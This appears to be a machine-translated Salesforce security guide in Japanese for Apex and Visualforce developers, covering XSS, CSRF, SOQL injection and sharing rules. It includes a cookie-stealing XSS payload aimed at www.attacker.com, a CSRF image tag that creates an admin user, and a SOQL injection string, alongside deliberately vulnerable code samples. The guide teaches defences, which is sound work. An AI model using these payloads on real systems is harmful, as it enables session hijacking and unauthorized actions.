この文章は Salesforce 機械翻訳システムを使用して翻訳されました。詳細はこちらをご参照ください。
英語に切り替える

Apex および Visualforce 開発のセキュリティガイドライン

カスタムアプリケーションを開発する場合のコードの脆弱性を理解し、その対策を講じます。
使用可能なインターフェース: Salesforce Classic (使用できない組織もあります)
使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition、Developer Edition、および Database.com Edition

Visualforce は、Database.com Edition では利用できません。


セキュリティとは

Apex および Visualforce ページの強力な組み合わせにより、Lightning Platform 開発者は、Salesforce にカスタム機能およびビジネスロジックを提供したり、Lightning Platform 内部で実行するまったく新しいスタンドアロン製品を作成することができます。ただし、プログラミング言語と同様、開発者はセキュリティ関連の不備について認識する必要があります。

Salesforce は、複数のセキュリティ防御を Lightning Platform 自体に統合しました。ただし、不注意な開発者は多くの場合に組み込み防御をスキップし、アプリケーションと顧客をセキュリティ上のリスクにさらしている場合があります。開発者が Lightning Platform 上で犯す多くのコーディングエラーは、一般的な Web アプリケーションのセキュリティ脆弱性と類似していますが、一部のコーディングエラーは Apex 固有のものです。

AppExchange のアプリケーションを認証するには、開発者がここで説明するセキュリティ上の弱点について学習および理解しておくことが重要です。詳細は、https://developer.salesforce.com/page/Security にある Salesforce Developers の Lightning Platform セキュリティリソースのページを参照してください。

クロスサイトスクリプト (XSS)

クロスサイトスクリプト (XSS) の攻撃は、悪意のある HTML またはクライアント側のスクリプトが Web アプリケーションに提供される、幅広い範囲の攻撃となります。Web アプリケーションには、Web アプリケーションのユーザに対する悪意のあるスクリプトが含まれています。ユーザは、知らぬ間に攻撃の被害者となります。攻撃者は、Web アプリケーションに対する被害者の信頼を利用し、攻撃の媒体として Web アプリケーションを使用しています。データを適切に検証することなく動的 Web ページを表示する多くのアプリケーションは攻撃されやすいといえます。Web サイトに対する攻撃は、あるユーザからの入力が別のユーザに表示されることを目的としている場合は特に単純です。可能性として、掲示板、ユーザコメントスタイルの Web サイト、ニュース、またはメールアーカイブなどがあります。

たとえば、次のスクリプトがスクリプトコンポーネント、on* 行動、または Visualforce ページを使用する Lightning Platform ページに使用されているとします。
1<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>
このスクリプトブロックは、ユーザが入力した userparam の値をページに挿入します。攻撃者は userparam に次の値を入力することができます。
11';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

この場合、現在のページのすべての Cookies が cookie.cgi スクリプトに対する要求のクエリ文字列として www.attacker.com に送信されます。この時点で、攻撃者は被害者のセッション Cookie を持っており、彼らが被害者になりすまして Web アプリケーションに接続することができます。

攻撃者は、Web サイトまたはメールを使用して、悪意のあるスクリプトを送信できます。Web アプリケーションユーザは攻撃者の入力は確認できませんが、ブラウザは信頼されたコンテキストで攻撃者のスクリプトを実行できます。こうした機能により、攻撃者はさまざまな攻撃を被害者に対して行うことができます。攻撃の範囲はウィンドウを開いたり閉じたりする単純なアクションから、データまたはセッションの Cookie を盗むなどのより悪意に満ちた攻撃にいたるまで幅広く、被害者のセッションに対する攻撃者の完全アクセスを可能にします。

Lightning Platform 内では、複数の対 XSS 防御策が実行されています。たとえば、多くの出力メソッドの有害な特性を除外するフィルタが実装されています。標準クラスおよび出力メソッドを使用する開発者に対する XSS の脆弱性の脅威は、大幅に緩和されています。ただし、クリエイティブな開発者は、デフォルトのコントロールをわざとまたは偶然エスケープする方法を見つけることができます。次のセクションでは、保護されている場所、保護されていない場所について説明しています。

既存の保護

<apex> で始まるすべての標準 Visualforce コンポーネントでは、対 XSS フィルタが設定されています。たとえば、ユーザに直接返されるユーザ指定の入力および出力を採用するため、次のコードは通常 XSS の攻撃に対して脆弱ですが、<apex:outputText> タグは XSS に対して安全です。HTML タグとされるすべての文字は、リテラル形式に変換されます。たとえば、< 文字は &lt; に変換され、ユーザの画面上ではリテラル < が表示されます。
1<apex:outputText> 
2    {!$CurrentPage.parameters.userInput} 
3</apex:outputText>

Visualforce タグのエスケープの無効化

デフォルトでは、ほぼすべての Visualforce タグは XSS に対して脆弱な文字をエスケープします。省略可能な属性 escape="false" を設定することによって、この動作を無効化することができます。たとえば、次の出力は、XSS の攻撃に対して脆弱です。
1<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

XSS から保護されていないプログラミング項目

次の項目には XSS 保護を組み込んでいないため、これらのタグおよびオブジェクトを使用する場合は特別な保護を行う必要があります。これは、これらの項目が、開発者がスクリプトコマンドを挿入してページをカスタマイズできるようになっているためです。意図的にページに追加されるコマンドに対 XSS フィルタを指定しても意味はありません。
カスタム JavaScript
独自の JavaScript を作成した場合、Lightning Platform にはユーザを保護する方法がありません。たとえば JavaScript で使用している場合、次のコードは XSS の攻撃に対して脆弱です。
1<script> 
2    var foo = location.search; 
3    document.write(foo); 
4</script>
<apex:includeScript>
<apex:includeScript> Visualforce コンポーネントを使用して、ページにカスタムスクリプトを追加できます。こうした場合、内容が安全で、ユーザが提供したデータが含まれていないことを慎重に確認してください。たとえば、次のスニペットはスクリプトの値としてユーザ提供の入力が含まれているため、特に脆弱です。タグによって指定された値は、使用する JavaScript への URL です。攻撃者がパラメータに任意のデータを入力できる場合 (下記の例参照)、被害者に別の Web サイトの JavaScript ファイルを使用するよう指示することができる可能性があります。
1<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

[数式] タグ

これらのタグの一般的なシンタックスは、{!FUNCTION()} または {!$OBJECT.ATTRIBUTE} です。たとえば、開発者がリンクにユーザのセッション ID を指定したい場合、次のシンタックスを使用してリンクを作成することができます。
1<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
2Go to portal</a>
次のような出力となります。
1<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
2SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
3/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>
数式は関数コールとなるか、プラットフォームオブジェクト、ユーザの環境、システム環境、要求の環境に関する情報を含むことができます。これらの数式の重要な特徴は、表示中にデータがエスケープされないという点です。数式はサーバに表示されるため、JavaScript またはその他のクライアント側の技術を使用してクライアントの表示データをエスケープすることはできません。これにより、数式が非システムデータ (悪意のあるまたは編集可能なデータ) を参照し、式自体が関数にラップされていない場合、表示中に出力をエスケープするという危険な状況を誘発する場合があります。一般的な脆弱性は、要求パラメータにアクセスする {!$Request.*} 式の使用によって引き起こされます。
1<html>
2    <head>
3        <title>{!$Request.title}</title>
4    </head>
5    <body>Hello world!</body>
6</html>
エスケープされない {!$Request.title} タグによっても、クロスサイトスクリプトの脆弱性が誘発されます。たとえば、次のような要求の場合
1http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E
出力は次のようになります。
1<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>
サーバ側でエスケープする標準メカニズムは、SUBSTITUTE() 数式タグを使用します。例で {!$Request.*} 式の投入を指定すると、次のネストされた SUBSTITUTE() コールを使用して、上記のような攻撃を回避できます。
1<html>
2    <head>
3        <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
4    </head>
5    <body>Hello world!</body>
6</html>
タグの投入およびデータの使用によって、エスケープされた文字およびエスケープが必要な文字が異なります。たとえば、次のような文の場合
1<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>
リンクで使用されるため、URL では HTML エスケープ文字の " の代わりに %22 を使用して二重引用符をエスケープする必要があります。そうでない場合、次のような要求
1http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
では、次のようになります。
1<script>var ret = "foo";alert('xss');//";</script>

また、ret 変数では、含まれる HTML 制御文字が解釈されるような��法で使用される場合、ページの後半で追加のクライアント側エスケープが必要になる場合があります。

また、数式タグを使用して、プラットフォームオブジェクトデータを追加することもできます。データがユーザの組織から直接取得されますが、データをエスケープしてユーザが他のユーザ (権限レベルがより高いユーザ) のコンテキストでコードを実行できなくなります。これらの種類の攻撃は同じ組織内のユーザによって実行され、組織のユーザロールを弱体化し、データ監査の完全性を提言させてしまいます。また、多くの組織には、外部の供給元からインポートされたデータがありますが、悪意のあるコンテンツの除外が行われない場合があります。

クロスサイトリクエストフォージェリ (CSRF)

クロスサイトリクエストフォージェリ (CSRF) の弱点は、防御がなく、プログラムエラーはそれほどありません。単純な例を示して CSRF を説明します。攻撃者が www.attacker.com に Web ページを持っているとします。この Web ページは、そのサイトへの通信量を実行する変数サービスまたは情報を提供するページなどです。攻撃者のページには、次のような HTML タグがあります。
1<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

つまり、攻撃者のページには、あなたの Web サイトでアクションを実行する URL が含まれています。ユーザが攻撃者の Web ページにアクセスしたときに、まだあなたの Web ページにログインしている場合、URL が取得され、アクションが実行されます。ユーザの Web ページへの認証がこのときも行われているため、この攻撃は成功します。これは非常に単純な例で、攻撃者の手口はより巧妙になっており、コールバック要求を生成するスクリプトを使用したり、あなたの AJAX メソッドに対して CSRF 攻撃を行うこともあります。

Lightning Platform 内では、この攻撃を回避する対 CSRF トークンが実装されています。すべてのページにランダムな文字列が非表示形式項目として指定されています。次のページが読み込まれると、アプリケーションはこの文字列の正当性を確認し、値が予測される値に一致しない限り、コマンドは実行されません。この機能により、すべての標準コントローラおよびメソッドの使用時に、ユーザを保護します。

ここでもやはり、開発者はリスクを認識することなく、組み込みの防御策をスキップしてしまう場合があります。たとえば、オブジェクト ID を入力パラメータとして SOQL コールで使用するカスタムコントローラがあるとします。次のコードスニペットについて考えます。
1<apex:page controller="myClass" action="{!init}"</apex:page>
2
3public class myClass { 
4  public void init() { 
5    Id id = ApexPages.currentPage().getParameters().get('id'); 
6    Account obj = [select id, Name FROM Account WHERE id = :id]; 
7    delete obj; 
8    return ; 
9  }
10}

この場合、開発者は、独自のアクションメソッドを開発して知らないうちに対 CSRF コントロールをスキップしてしまいます。id パラメータはコードで読み込まれ、使用されます。対 CSRF トークンは読み込まれたり検証されたりしません。攻撃者の Web ページでは、CSRF 攻撃を使用してユーザをこのページに移動させ、id パラメータとして攻撃者が望む値を指定する可能性があります。

このような状況に対する組み込み防御策がないため、開発者は前例の id 変数のようなユーザ指定のパラメータに基づいてアクションを実行するページの書き込みに対し、注意する必要があります。解決策の 1 つは、アクションを起こす前に中間の確認ページを挿入し、ユーザがそのページを呼び出しているのか確認することです。その他の提案としては、組織のアイドルセッションのタイムアウトを短くする、他のサイトにアクセスする場合は有効なセッションからログアウトし、認証されたままそのブラウザを使用しないようにするなどです。

ユーザが複数の Salesforce ログインページを開いている場合、CRSF に対する Salesforce の組み込み防御策によってエラーが表示される場合があります。ユーザが 1 つのタブで Salesforce にログインし、その後、別のタブでログインを試みると、「送信したページは、セッションに対して無効でした。」というエラーが表示されます。正常にログインするには、ログインページを更新するか、ログインをもう一度試みます。

SOQL インジェクション

他のプログラミング言語では、上記の弱点を SQL インジェクションといいます。Apex では SQL を使用しませんが、独自のデータベースクエリ言語 SOQL を使用します。SOQL は、SQL より単純で、機能が制限されています。そのため、SOQL インジェクションのリスクは SQL と比較して大幅に低くなりますが、攻撃は従来の SQL インジェクションとほぼ同じです。集計時は、SQL/SOQL インジェクションではユーザが提供した入力を取得し、これらの値を動的 SOQL クエリに使用します。入力が検証されない場合、SOQL ステートメントを事実上変更する SOQL コマンドを指定し、アプリケーションにトリックを仕掛けて意図しないコマンドを実行するようにします。

Apex での SOQL インジェクションの脆弱性

以下に SOQL に対して脆弱な Apex コードおよび Visualforce の単純な例を示します。
1<apex:page controller="SOQLController" >
2    <apex:form>
3        <apex:outputText value="Enter Name" />
4        <apex:inputText value="{!name}" />
5        <apex:commandButton value="Query" action="{!query}“ />
6    </apex:form>
7</apex:page>
8
9public class SOQLController {
10    public String name {
11        get { return name;}
12        set { name = value;}
13    } 
14    public PageReference query() {
15        String qryString = 'SELECT Id FROM Contact WHERE ' +
16            '(IsDeleted = false and Name like \'%' + name + '%\')';
17        queryResult = Database.query(qryString);
18        return null;
19    }
20}
これは単純な例ですが、ロジックについて説明しています。コードは、削除されていない取引先責任者の検索を行うためのものです。ユーザは name という入力値を指定します。値はユーザが指定する任意の値で、検証されません。SOQL クエリは動的に構築され、Database.query メソッドで実行されます。ユーザが正当な値を指定すると、ステートメントは次のように期待どおり実行されます。
1// User supplied value: name = Bob 
2// Query string
3SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
ただし、次のようにユーザが予期しない値を入力したかのようになります。
1// User supplied value for name: test%') OR (Name LIKE '
この場合、クエリ文字列は次のようになります。
1SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

結果には削除されていない取引先責任者だけでなく、すべての取引先責任者が表示されます。SOQL インジェクションにより、脆弱なクエリの対象となるロジックを変更することができます。

SOQL インジェクションの防御策

SOQL インジェクションの攻撃を回避するには、動的 SOQL クエリを使用しないようにします。代わりに、静的クエリとバインド変数を使用します。上記の脆弱な例は、静的 SOQL を使用して次のように書き直すことができます。
1public class SOQLController { 
2    public String name { 
3        get { return name;} 
4        set { name = value;} 
5    } 
6    public PageReference query() { 
7        String queryName = '%' + name + '%';
8        queryResult = [SELECT Id FROM Contact WHERE 
9           (IsDeleted = false and Name like :queryName)];
10        return null; 
11    } 
12}

動的 SOQL を使用する必要がある場合、escapeSingleQuotes メソッドを使用して、ユーザ指定の入力を削除します。このメソッドは、エスケープ文字 (\) をユーザから渡される文字列のすべての単一引用符に追加します。このメソッドにより、すべての単一引用符を、データベースコマンドではなく、囲まれた文字列として処理します。

データアクセスコントロール

Lightning Platform は、データ共有ルールを広範囲に使用します。各オブジェクトには権限があり、ユーザが読み取り、作成、編集、削除できる共有設定がある場合があります。これらの設定は、すべての標準コントローラを使用する場合に強制されます。

Apex クラスを使用する場合、組み込みユーザ権限、および項目レベルのセキュリティ制限は実行時に重視されません。デフォルトの動作として、Apex クラスに組織内のすべてのデータを読み込み更新する機能があります。これらのルールは強制されないため、Apex を使用する開発者は、ユーザ権限、項目レベルのセキュリティ、または組織のデフォルト設定によって通常は非表示となる機密データが不注意で公開されないようにする必要があります。これは特に、Visualforce ページで当てはまります。たとえば、次の Apex 擬似コードについて考えます。
1public class customController { 
2    public void read() { 
3        Contact contact = [SELECT id FROM Contact WHERE Name = :value]; 
4    } 
5}
この場合、現在ログインしているユーザにこれらのレコードを表示する権限がない場合でも、すべての取引先責任者レコードが検索されます。解決策として、クラスを宣言する場合、修飾キーワードの with sharing を使用します。
1public with sharing class customController { 
2    . . . 
3}

with sharing キーワードを使用すると、プラットフォームはすべてのレコードに完全アクセス権限を付与するのではなく、現在ログインしているユーザのセキュリティ共有権限を使用します。